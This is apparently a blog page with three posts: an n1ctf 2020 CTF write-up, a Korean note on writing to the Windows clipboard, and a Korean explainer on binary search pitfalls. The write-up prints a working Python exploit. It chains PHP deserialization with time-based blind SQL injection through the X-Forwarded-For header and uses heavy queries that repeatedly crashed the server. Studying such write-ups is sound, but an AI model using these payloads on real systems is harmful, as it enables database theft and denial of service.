The only problem I solved in n1ctf 2020 is web-SignIn, the easiest web chall.

Approach

It provided us the source code without some details.

<?php 
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
    	if(md5($this->check)===md5("key****************")){
    		readfile('/flag');
    	}
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
	unserialize($input);
} 
  

Mysql database password and key value are blurred. We can guess what we should do is to get the key code.

We can execute mysql query by triggering __toString function in ip class. The stristr may internally trigger __toString function of $this->ip. By providing ip object in flag's member variable "$ip", we can trigger the SQL query.

Error based SQL Injection

I think, if I can make mysql error message with string "n1ctf", we can get feedback "welcome to n1ctf2020", otherwise, "noip". So, I tried hard to get custom error message, to Blind SQL Injection.

Just triggering error message is not difficult, but triggering error message up to result of SQL subquery was very hard. So, I surrender to do that, I tried another approach.

Time based SQL Injection

Some keywords are filtered by server. Below 3 are obviously filtered keywords

- sleep

- benchmark

- count

Also, I thought the comment meta char like - and # are filtered also.

Because of limited debugging environment, I should guess the server filter keywords with a little information.

 

Conventional Time based SQLi gadgets are all blocked, I tried another approch, the heavy query.

Insert into n1ip query repeates many times, thus, just lookup the table takes some times.

Limits

Because of many call of heavy queries, server downed repeatedly. I tried hard time to endure that phase. If there is more sophisticated exploit like error based attack, please let me know with comments!

 

Exploit

From fetching table schema where the key located, to get the key from the database.

Insert key value to $flag->check, you can get the real flag.

#!/usr/bin/env python3
import requests
import sys

url = """http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}"""

headers = {
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
}

def query(payload):
    global headers
    headers["X-Forwarded-For"] = payload
    try:
        response = requests.get(url, headers=headers, timeout=1.5)
    except requests.exceptions.ReadTimeout:
        print ("Time out!! 1.5")
        return False
    seconds = response.elapsed.total_seconds()
    # print (response.text)
    if "hackhack" in response.text:
        print ("Keyword filtered!")
    print (seconds)
    return True

print (query("Hello"))
heavyQuery = "select sum(A.time)from n1ip A, n1ip B"
print (query("asdf',({})),('a".format(heavyQuery)))

# sys.exit()

def db_name_length():
    left = 0
    right = 50
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        if query("asdf',IF((length(database())>={}),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
            left = mid
        else:
            right = mid
    return left
def table_list_length():
    left = 0
    right = 100
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        if query("asdf',IF((select length((GROUP_CONCAT((TABLE_NAME))))>={} from information_schema.tables where table_schema='n1ctf_websign'),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
            left = mid
        else:
            right = mid
    return left
def table_list_char(len):
    res = ""
    for i in range(1,len+1):
        left = 0
        right = 256
        #[left, right)
        while left + 1 < right:
            mid = (left+right)//2
            print ('querying {} {} {}'.format(left, mid, right))
            if query("asdf',IF((select ascii(substr((GROUP_CONCAT((TABLE_NAME))),{},1))>={} from information_schema.tables where table_schema='n1ctf_websign'),'1',(select sum(A.time)from n1ip A))),('a".format(i, mid)):
                left = mid
            else:
                right = mid
        res += chr(left)
        print (res)
    return res
def get_col_len():
    left = 0
    right = 100
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        if query("asdf',IF((select length(GROUP_CONCAT(COLUMN_NAME))>={} from information_schema.columns where table_schema='n1ctf_websign' and table_name='n1key'),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
            left = mid
        else:
            right = mid
    return left
def get_cols(len):
    res = ""
    for i in range(1,len+1):
        left = 0
        right = 256
        #[left, right)
        while left + 1 < right:
            mid = (left+right)//2
            print ('querying {} {} {}'.format(left, mid, right))
            if query("asdf',IF((select ascii(substr((GROUP_CONCAT((COLUMN_NAME))),{},1))>={} from information_schema.columns where table_schema='n1ctf_websign' and table_name='n1key'),'1',(select sum(A.time)from n1ip A))),('a".format(i, mid)):
                left = mid
            else:
                right = mid
        res += chr(left)
        print (res)
    return res
def get_key_len():
    left = 0
    right = 100
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        # if query("asdf',IF((select length(`key`)>={} from n1key limit 1),'1',({})),('a".format(mid, heavyQuery)):
        if query("asdf',IF((select length(GROUP_CONCAT(`key`))>={} from n1key limit 1),'1',({})),('a".format(mid, heavyQuery)):
            left = mid
        else:
            right = mid
    return left
def get_key(len):
    res = ""
    for i in range(1,len+1):
        left = 0
        right = 256
        #[left, right)
        while left + 1 < right:
            mid = (left+right)//2
            print ('querying {} {} {}'.format(left, mid, right))
            # if query("asdf',IF((select ascii(substr(`key`)),{},1))>={} from n1key limit 1),'1',({}))),('a".format(i, mid, heavyQuery)):
            if query("asdf',IF((select ascii(substr((GROUP_CONCAT((`key`))),{},1))>={} from n1key limit 1),'1',({}))),('a".format(i, mid, heavyQuery)):
                left = mid
            else:
                right = mid
        res += chr(left)
        print (res)
    return res
# print ("db_name_length = {}".format(db_name_length())) #for query validation check
# table_list_length = 9
# table_length = table_list_length()
# print ("table_list_length = {}".format(table_length))
# table_string = "n1ip,n1key"
# table_string = table_list_char(table_length)
# print ("table_string = {}".format(table_string))
# col_len = get_col_len()
# print ("col_len = {}".format(col_len))
# cols = get_cols(col_len)
# cols = "id/key"
# print ("cols = {}".format(cols))
key_len = get_key_len()
print("key_len = {}".format(key_len))
key = get_key(key_len)
print ("key = {}".format(key))

"""
key length는 왜인지 모르겟는데 제대로 못가져옴.
key값은

n1ctf20205bf75ab0a30dfc0c
길이 25
"""

아마 초등학교 2학년때인가, 학교 방과후 수업의 일환으로 워드프로세서 및 컴퓨터 기초 활용 능력을 배웠던 적이 있다. 그때 처음 Ctrl + C / Ctrl + V와 클립보드의 존재를 배웠었다.

 

클립보드는 복사, 붙여넣기를 할 때 복사를 한 데이터가 운영체제 레벨에서 저장되는 공간이다. 근데 우리는 이렇게 간편하게 클립보드를 사용해서 다양한 데이터들을 복사 및 붙여넣기를 하면서도 정작 클립보드가 어떻게 생겨먹었는지는 잘 모르고 있긴 하다.

 

서식이 있는 텍스트를 복사 붙여넣기 할 때, 서식을 날리기 위해 잠시 메모장에다가 복붙을 하는 경우, 이미지를 복사한 경우 PC버전 카카오톡에 붙여넣기를 하면 바로 이미지가 전송이 되기도 한다. 파일 자체를 복사하는 경우도 있고 이렇게 다양하게 활용을 하고 있는데, 클립보드에는 데이터가 어떻게 저장이 되길래 그렇게 동작하는지 다소 궁금해서 찾아보게 되었다.

 

클립보드 데이터 확인

http://www.peterbuettner.de/develop/tools/clipview/

 

Windows clipboard raw viewer

A developer tool This is a little tool to inspect the windows clipboard in a raw/text way, i use it to find bugs in applications. There is only little help now: Hover with the mouse over the image below, in the application you must hover over the elements.

www.peterbuettner.de

클립보드이 데이터를 볼 수 있는 프로그램이다.

 

좀 오래된 프로그램이긴 하지만, 뭔가를 복사를 한 상태에서 저 프로그램에서 확인 버튼을 누르면 좌측에 현재 클립보드에 있는 데이터의 포맷들이 보이고, 이 포맷들을 누를 시 그 포맷에서 어떻게 데이터가 보이는지 Text 형태로 보여지게 된다.

 

이로서 Format - Text 형태의 Pair들이 여러개 묶여있는 식으로 클립보드에 저장된다는 것을 알 수 있다.

 

그리고 어플리케이션에 붙여넣기를 하면 해당 어플리케이션이 자신이 받아들일 수 있는 포맷 넘버를 기반으로 데이터를 받아서 처리를 하는 것으로 예상된다.

 

위 프로그램의 경우 클립보드의 데이터를 보는 것만 잘 동작하는 것 같다. 그렇다면 클립보드에 내가 원하는 형식의 데이터(crafted data)를 집어넣을수는 없을까?

 

win32clipboard python api

python api중에 win32clipboard라는 녀석이 있다. pywin32라는 걸 설치를 하면 같이 설치가 되는 모양이다.

스택오버플로의 한 부분인데 위와 같이 설치를 해 볼 수 있겠다.

그리고 있는 api들을 사용해보면서 데이터를 써넣을 수 있다.

아래와 같이 코드를 짜보자.

#!/usr/bin/env python3
import win32clipboard

win32clipboard.OpenClipboard()
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText("plaintext", win32clipboard.CF_TEXT)
win32clipboard.CloseClipboard()

win32clipboard.GetClipboardData(win32clipboard.CF_HDROP)

OpenClipboard를 호출을 하게 되면 다른 앱에서 클립보드를 사용할 수 없게 잠기는 모양이다. 그래서 다시 풀어줘야 한다.

자세한 API 리스트들은 아래 Reference에 링크가 있으므로 거기를 참고해보자.

 

그리고 이 pywin32 api는 결과적으로는 Win32 api를 파이썬으로 포팅한 것이므로, Win32 API를 이용하면 클립보드를 제어할 수 있다는 뜻이다.

 

이 클립보드를 제어 스크립트를 통해서 먼가 재미있는 장난질들을 할 수 있을것도 같은데, 일단은 포스팅은 여기서 줄이도록 하겠다.

 

References

stackoverflow.com/questions/15310121/trying-to-install-module-win32clipboard/15310362

docs.microsoft.com/en-us/windows/win32/dataxchg/clipboard

timgolden.me.uk/pywin32-docs/win32clipboard__GetClipboardData_meth.html

timgolden.me.uk/pywin32-docs/win32clipboard.html

m.blog.naver.com/popqser2/221358295907

www.peterbuettner.de/develop/tools/clipview/

binary search 알고리즘은 번역해서 이진 탐색이라고도 부르고, 이분 탐색이라고도 부른다. 사실 컴퓨터공학을 전공하면, 자료구조 과목을 배울 때 배우는 탐색 알고리즘 중 하나로, 정말 유명하고 자료도 많은 알고리즘 중 하나이다.

 

학교 전공과목시간에 이진 탐색을 처음 배웠을때는 신기하긴 했지만 나중에 더욱 복잡하고 어렵고 멋져보이는 알고리즘들을 보면 이 이진 탐색은 결국 적당히 재귀로 구현해서 쓰기만 하면 되는 것 같은 별 것 아닌 알고리즘 같아 보인다.

 

하지만 이렇게 간단하고 비교적 쉬운 기초적인 알고리즘이지만, PS를 할 때 이 이진 탐색의 아이디어를 이용해서 최적화를 하거나, parametric search를 하거나 하는 활용도가 꽤 있는 편이며, 사용할 수 있는 정확한 상황을 판단하고 버그없이 구현하는 것이 생각보다는 어려울 수 있다.

 

이번 포스팅에서는 기본적인 이진 탐색의 개념에 대해서는 알고 있는 사람이 구현 시, 적용 시 유의해야 할 점들을 한번 씩 짚고 넘어가보도록 하자.

적용할 수 있는 경우

이진 탐색 알고리즘은 항상 적용할 수 있는 것은 아니다. 몇 가지 조건이 필요하다.

  1. 원소가 정렬이 되어 있을 것(오름차순이든 내림차순이든)
  2. 원소의 Random Access가 가능해야 한다.

원소가 정렬이 되어 있어야지 중간에 한 곳을 딱 집어서, 결과를 본 뒤 그 지점의 이전과 이후의 값을 예측을 할 수 있다. 오름차순이든 내림차순이든 정렬이 되어 있어야 한다. 그리고 만약, 중복되는 원소가 있다면, 일반적인 binary search가 아닌, upper_bound와 lower_bound를 각각 구한 뒤, lower_bound부터 upper_bound직전까지 다 훑으면, 해당 크기의 모든 원소를 확인할 수 있다. 원소가 중복이 있는지 아닌지도 구현시 디테일을 바꾸게 하는 하나의 체크 포인트이다.

 

그리고 binary_search 자체가 아닌 다른 알고리즘에 녹아들어가거나, parametric search인 경우 정렬은 아니지만, 중간 임의의 값을 look up 했을 때 그 이전과 이후의 값에 대한 예측이 가능한 경우도 정렬이 되어 있는 것과 마찬가지로 볼 수 있다.

 

원소의 Random Access가 가능하다는 것은, C언어의 배열 처럼, index만 알면 특정 arr[index] 값을 //(O(1)//)의 시간복잡도로 참조가 가능하냐는 것이다. 사실 Random Access가 불가능하더라도 이분탐색은 가능하긴 하지만, //(O(1)//)의 시간복잡도로 Random access가 불가능하다면 이분탐색으로 //(O(lgN)//)의 성능 향상은 기대하기 힘들다. Random access가 불가능하고 sequential access만 가능한 Linked list에서 이분 탐색을 하지 않는 이유도 이러한 이유이다.

 

구현시 체크할 점

이분 탐색은 크게 두가지 구현방법이 있는데, 재귀(recursion)와 반복(iteration)이다. 그런데 함수 프롤로그와 에필로그의 오버헤드를 줄일 수 있는 반복(iteration)방식으로 구현하는 것이 성능이 일반적으로 더 좋고, 간편하다.

while문을 이용해서 쉽게 구현할 수 있는데, 이때 디테일을 잘못 구현하게 되면 특정 상황에서 무한루프가 돌면서 이분 탐색이 종료하지 않을 수 있다.

잘 구현된 경우

사실 이제부터 이야기하는 코드들은 이진탐색이라기 보다는 parametric search에 가깝다. ok 함수를 만족하는 정수 값 중 가장 끄트머리에 있는 값을 찾는다고 보면 된다. -INF~10까지의 값은 ok 함수에서 true를 리턴하고 11~INF의 값은 false를 리턴한다고 하면 10을 찾는 것이다.

int left, right; // [left, right) range
while (left + 1 < right) {
	int mid = (left + right) / 2;
	if (ok(mid)) {
		left = mid;
	} else {
		right = mid;
	}
}
//return left

위와 같은 방식으로 코드를 짤 수 있다.

left, right는 범위를 반 개구간으로 해서 [left, right)라고 표현을 했는데, 원하는 값은 left보다는 크거나 같고, right보다는 작은 범위 안에 있다는 뜻이다. 중고등학교 수학시간에 아마 배웠겠지만 [와 ]는 inclusive로 이상, 이하에 해당하고 (와 )는 exclusive로 초과, 미만에 해당한다.

 

그러면 만약 범위가 [2, 3) 처럼 된다면, 해당 범위를 만족하는 정수는 2밖에 없게 된다. 따라서 탐색을 계속 지속하려면 right가 left보다 2이상 커야 한다. 따라서 while문의 진행 조건도 left + 1 < right와 같이 된다.

 

그리고 중간값인 mid를 구해서, mid가 range안에 포함이 된다고 하면 ok함수가 true를 리턴하게 되고 이때, left값을 mid로 바꾼다. left가 찾는 값이 될 수도 있으므로 inclusive인 left로 들어가도 무방하다.

 

mid가 range안에 포함이 되지 않는다면 ok함수가 false를 리턴하게 되고, right를 mid로 바꾼다. right 값은 exclusive이므로 찾는 값이 포함되지 않는다는 뜻이 된다.

 

그렇다면 이 while문이 무한루프를 돌 수 있을까? while문이 무한루프를 돌려면, loop을 한번 돌 때, 범위가 하나도 줄어들지 않는 경우가 생겨야 한다.

 

mid를 계산하는 것과, ok 함수의 리턴값에 따른 left, right값의 update 시 줄어들지 않는 경우가 있는지를 한번 확인해보자. 

사실 범위가 클 때에는 잘 줄어든다. 그리고 탐색이 거의 다 되어서 범위가 매우 줄어들었을 때, off by one error로 값이 줄어들지 않는 경우가 있을 수 있는데 홀수 짝수를 예시로 몇가지 값을 넣어보면 바로 알 수 있다.

 

[2, 3)이면 종료조건이 되므로 [2, 4)와 [3, 5)를 예시를 들어보자.

[2,4)인 경우 mid=3이 되며, 결과가 어떻든 [3,4)이거나 [2,3)으로 종료가 된다.

[3,5)인 경우 mid=4가 되며, 각각 [4,5)이거나 [3,4)로 종료가 된다.

 

이 경우는 무한루프가 돌지 않는 코드가 되게 된다.

 

그리고 최종적으로 리턴하는 값 자체도 inclusive인 left의 값을 리턴하면 우리가 찾는 값이 된다.

 

잘못 구현될 수 있는 경우

사실 위에서 예시로 든 경우는 C++ STL container들이 흔히 쓰는 방식인 [start, end)의 반개구간으로 하는 식이라서 간단하면서도 에러가 잘 없는 코드 패턴이 나왔다. 하지만 [start, end]와 같은 폐구간으로 설정을 하는 경우 조금 다를 수 있겠다.

비슷하게 아래와 같이 코드를 짜 보았다고 생각해보자.

int left, right; // [left, right] range
while (left < right) {
	int mid = (left + right) / 2;
	if (ok(mid)) left = mid;
	else right = mid;
}
// return left;

완전 폐구간이므로, left == right가 되어야지 하나의 범위로 줄어든다. 따라서 while문의 조건이 left < right로 바뀌었다.

하지만 위의 코드는 잘못 짠 코드이다. 무엇이 잘못되었을까?

 

일단 값을 잘못 찾을 수 있으며, 무한루프 역시 돌 수 있다.

 

무엇이 잘못되었고, 어떻게 고쳐야 할 지 한번 고민을 해 보고 아래의 올바른 코드를 한번 확인해보도록 하자.

 

정정된 올바른 코드

더보기
int left, right; // [left, right] range
while (left < right) {
	int mid = (left + right + 1) / 2;
	if (ok(mid)) left = mid;
	else right = mid - 1;
}
// return left;

일단 ok(mid)가 return false를 한 경우 mid는 범위안에 들어오지 않는다. 근데 right를 mid로 하면 inclusive이므로 mid가 범위에 들어온다는 오류를 범하게 된다. 따라서 mid - 1를 적용해야 한다.

그리고 이런 경우, 무한루프가 돌 수 있는데 범위가 [2, 3]이라고 가정해보자.

그리고 정말 찾는 값은 3이라고 생각해보자. 1~3의 값은 모두 ok함수에서 true를 리턴하고,

4이상의 값은 false를 리턴한다.

이때, mid=(2+3)/2 = 2가 되고, ok(2)=true가 되는데, left=mid=2로 범위가 그대로가 된다.

이 경우 [2,3]라는 범위에서 [3,3]라는 범위로 줄어들지 못하고 평생 저렇게 남게 된다. 즉 무한루프다.

이런경우 결국 left값이 범위를 줄여줘야 하는데, mid계산 시 2로 나누면서 LSB가 날라가게 되므로 나누기 전에 1을 더해서 floor((left+right)/2)가 아닌 ceil((left+right)/2)를 구하도록 해주면 정확하게 구현이 된다. 그리고 left를 리턴하면 된다.

생각나는대로 글을 쓰다 보니 글에 오류나 이해가 가지 않는 부분이 있을 수 있는데, 댓글로 피드백을 준다면 정정하도록 하겠습니다.

+ Recent posts